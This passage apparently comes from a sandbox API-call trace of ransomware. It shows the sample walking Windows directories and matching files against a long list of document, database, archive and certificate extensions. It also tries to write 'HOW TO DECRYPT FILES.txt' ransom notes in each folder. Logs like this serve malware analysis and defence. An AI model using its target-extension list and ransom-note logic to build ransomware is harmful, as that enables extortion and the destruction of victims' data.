(pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.mye") returned 0 [0127.015] lstrlenA (lpString="*.mye") returned 5 [0127.015] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.mbox") returned 0 [0127.015] lstrlenA (lpString="*.mbox") returned 6 [0127.015] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.eml") returned 0 [0127.015] lstrlenA (lpString="*.eml") returned 5 [0127.016] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.pst") returned 0 [0127.016] lstrlenA (lpString="*.pst") returned 5 [0127.016] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.ost") returned 0 [0127.016] lstrlenA (lpString="*.ost") returned 5 [0127.016] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.idx") returned 0 [0127.016] lstrlenA (lpString="*.idx") returned 5 [0127.016] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.dbx") returned 0 [0127.016] lstrlenA (lpString="*.dbx") returned 5 [0127.016] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.sql") returned 0 [0127.016] lstrlenA (lpString="*.sql") returned 5 [0127.016] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.mdb") returned 0 [0127.016] lstrlenA (lpString="*.mdb") returned 5 [0127.016] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.fdb") returned 0 [0127.016] lstrlenA (lpString="*.fdb") returned 5 [0127.016] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.wab") returned 0 [0127.016] lstrlenA (lpString="*.wab") returned 5 [0127.017] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.dat") returned 0 [0127.017] lstrlenA (lpString="*.dat") returned 5 [0127.017] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.txt") returned 0 [0127.017] lstrlenA (lpString="*.txt") returned 5 [0127.017] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.jpeg") returned 0 [0127.017] lstrlenA (lpString="*.jpeg") returned 6 [0127.017] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.jpg") returned 0 [0127.017] lstrlenA (lpString="*.jpg") returned 5 [0127.017] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.png") returned 0 [0127.017] lstrlenA (lpString="*.png") returned 5 [0127.017] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.php") returned 0 [0127.018] lstrlenA (lpString="*.php") returned 5 [0127.018] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.cs") returned 0 [0127.018] lstrlenA (lpString="*.cs") returned 4 [0127.018] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.cpp") returned 0 [0127.018] lstrlenA (lpString="*.cpp") returned 5 [0127.018] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.rar") returned 0 [0127.018] lstrlenA (lpString="*.rar") returned 5 [0127.018] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.zip") returned 0 [0127.018] lstrlenA (lpString="*.zip") returned 5 [0127.018] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.html") returned 0 [0127.018] lstrlenA (lpString="*.html") returned 6 [0127.018] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.htm") returned 0 [0127.018] lstrlenA (lpString="*.htm") returned 5 [0127.018] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.xlsx") returned 0 [0127.018] lstrlenA (lpString="*.xlsx") returned 6 [0127.018] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.xls") returned 0 [0127.018] lstrlenA (lpString="*.xls") returned 5 [0127.018] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.mp4") returned 0 [0127.019] lstrlenA (lpString="*.mp4") returned 5 [0127.019] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.ppt") returned 0 [0127.019] lstrlenA (lpString="*.ppt") returned 5 [0127.019] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.pptx") returned 0 [0127.019] lstrlenA (lpString="*.pptx") returned 6 [0127.019] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.doc") returned 0 [0127.019] lstrlenA (lpString="*.doc") returned 5 [0127.019] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.dot") returned 0 [0127.019] lstrlenA (lpString="*.dot") returned 5 [0127.019] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.docx") returned 0 [0127.019] lstrlenA (lpString="*.docx") returned 6 [0127.019] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.7z") returned 0 [0127.019] lstrlenA (lpString="*.7z") returned 4 [0127.019] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.tar") returned 0 [0127.019] lstrlenA (lpString="*.tar") returned 5 [0127.019] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.bz2") returned 0 [0127.019] lstrlenA (lpString="*.bz2") returned 5 [0127.019] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.gz") returned 0 [0127.020] lstrlenA (lpString="*.gz") returned 4 [0127.020] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.mkv") returned 0 [0127.020] lstrlenA (lpString="*.mkv") returned 5 [0127.020] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.eml") returned 0 [0127.020] lstrlenA (lpString="*.eml") returned 5 [0127.020] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.msg") returned 0 [0127.020] lstrlenA (lpString="*.msg") returned 5 [0127.020] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.edb") returned 0 [0127.020] lstrlenA (lpString="*.edb") returned 5 [0127.020] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.accdb") returned 0 [0127.020] lstrlenA (lpString="*.accdb") returned 7 [0127.020] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.odb") returned 0 [0127.020] lstrlenA (lpString="*.odb") returned 5 [0127.020] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.java") returned 0 [0127.020] lstrlenA (lpString="*.java") returned 6 [0127.020] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.asm") returned 0 [0127.020] lstrlenA (lpString="*.asm") returned 5 [0127.021] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.pfx") returned 0 [0127.021] lstrlenA (lpString="*.pfx") returned 5 [0127.021] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg", pszSpec="*.pem") returned 0 [0127.021] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf38c746, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf38c746, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x1bb5aa10, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll", cAlternateFileName="")) returned 1 [0127.021] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.021] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll") returned 1 [0127.021] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll") returned 1 [0127.022] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll") returned -1 [0127.022] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.diagpkg") returned="DiagPackage.diagpkg" [0127.022] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\" [0127.022] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\") returned="" [0127.022] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\HOW TO DECRYPT FILES.txt" [0127.022] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayermedialibrary\\how to decrypt files.txt")) returned 0xffffffff [0127.022] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayermedialibrary\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.023] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.023] CloseHandle (hObject=0xffffffff) returned 0 [0127.023] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\", lpString2="DiagPackage.dll" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.dll") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.dll" [0127.023] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.dll", pszSpec="*.ems") returned 0 [0127.024] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x234f4391, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0127.024] lstrcmpA (lpString1=".", lpString2="en-US") returned -1 [0127.024] lstrcmpA (lpString1="..", lpString2="en-US") returned -1 [0127.024] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\DiagPackage.dll") returned="DiagPackage.dll" [0127.024] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\", lpString2="en-US" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US" [0127.024] FindFirstFileA (in: lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x234f4391, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x501592, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0127.025] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0127.025] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e44a29c, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x234f4391, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e44a29c, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x500000, cFileName="..", cAlternateFileName="")) returned 1 [0127.025] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0127.025] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0127.025] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfded41b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfded41b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x188, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CL_LocalizationData.psd1", cAlternateFileName="")) returned 1 [0127.025] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.025] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CL_LocalizationData.psd1") returned 1 [0127.025] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CL_LocalizationData.psd1") returned 1 [0127.025] lstrcmpiA (lpString1="", lpString2="CL_LocalizationData.psd1") returned -1 [0127.025] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\*.*") returned="*.*" [0127.025] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\" [0127.026] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\") returned="" [0127.026] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\HOW TO DECRYPT FILES.txt" [0127.026] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayermedialibrary\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0127.026] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayermedialibrary\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.026] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.026] CloseHandle (hObject=0xffffffff) returned 0 [0127.027] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\", lpString2="CL_LocalizationData.psd1" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\CL_LocalizationData.psd1") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\CL_LocalizationData.psd1" [0127.027] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\CL_LocalizationData.psd1", pszSpec="*.ems") returned 0 [0127.027] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfded41b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfded41b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll.mui", cAlternateFileName="")) returned 1 [0127.027] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0127.027] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="DiagPackage.dll.mui") returned 1 [0127.027] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="DiagPackage.dll.mui") returned 1 [0127.027] lstrcmpiA (lpString1="", lpString2="DiagPackage.dll.mui") returned -1 [0127.027] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\CL_LocalizationData.psd1") returned="CL_LocalizationData.psd1" [0127.027] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\" [0127.027] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\") returned="" [0127.027] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\HOW TO DECRYPT FILES.txt" [0127.027] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayermedialibrary\\en-us\\how to decrypt files.txt")) returned 0xffffffff [0127.028] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayermedialibrary\\en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.028] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.028] CloseHandle (hObject=0xffffffff) returned 0 [0127.028] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\", lpString2="DiagPackage.dll.mui" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\DiagPackage.dll.mui") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\DiagPackage.dll.mui" [0127.028] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\en-US\\DiagPackage.dll.mui", pszSpec="*.ems") returned 0 [0127.029] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfded41b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfded41b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DiagPackage.dll.mui", cAlternateFileName="")) returned 0 [0127.029] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0127.029] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0a60743, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xe0a60743, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xe0a868a1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x250, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="RS_MediaLibCorrupted.ps1", cAlternateFileName="")) returned 1 [0127.029] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0127.029] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RS_MediaLibCorrupted.ps1") returned -1 [0127.029] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RS_MediaLibCorrupted.ps1") returned -1 [0127.029] lstrcmpiA (lpString1="", lpString2="RS_MediaLibCorrupted.ps1") returned -1 [0127.029] PathFindFileNameA (pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\*.*") returned="*.*" [0127.029] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\" [0127.029] PathAddBackslashA (in: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\" | out: pszPath="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\") returned="" [0127.029] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\HOW TO DECRYPT FILES.txt" [0127.029] GetFileAttributesA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayermedialibrary\\how to decrypt files.txt")) returned 0xffffffff [0127.030] CreateFileA (lpFileName="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\diagnostics\\system\\windowsmediaplayermedialibrary\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.030] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0127.030] CloseHandle (hObject=0xffffffff) returned 0 [0127.030] lstrcatA (in: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\", lpString2="RS_MediaLibCorrupted.ps1" | out: lpString1="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\RS_MediaLibCorrupted.ps1") returned="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\RS_MediaLibCorrupted.ps1" [0127.030] PathMatchSpecA (pszFile="C:\\Windows\\diagnostics\\system\\WindowsMediaPlayerMediaLibrary\\RS_MediaLibCorrupted.ps1", pszSpec="*.ems") returned 0 [0127.031] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, 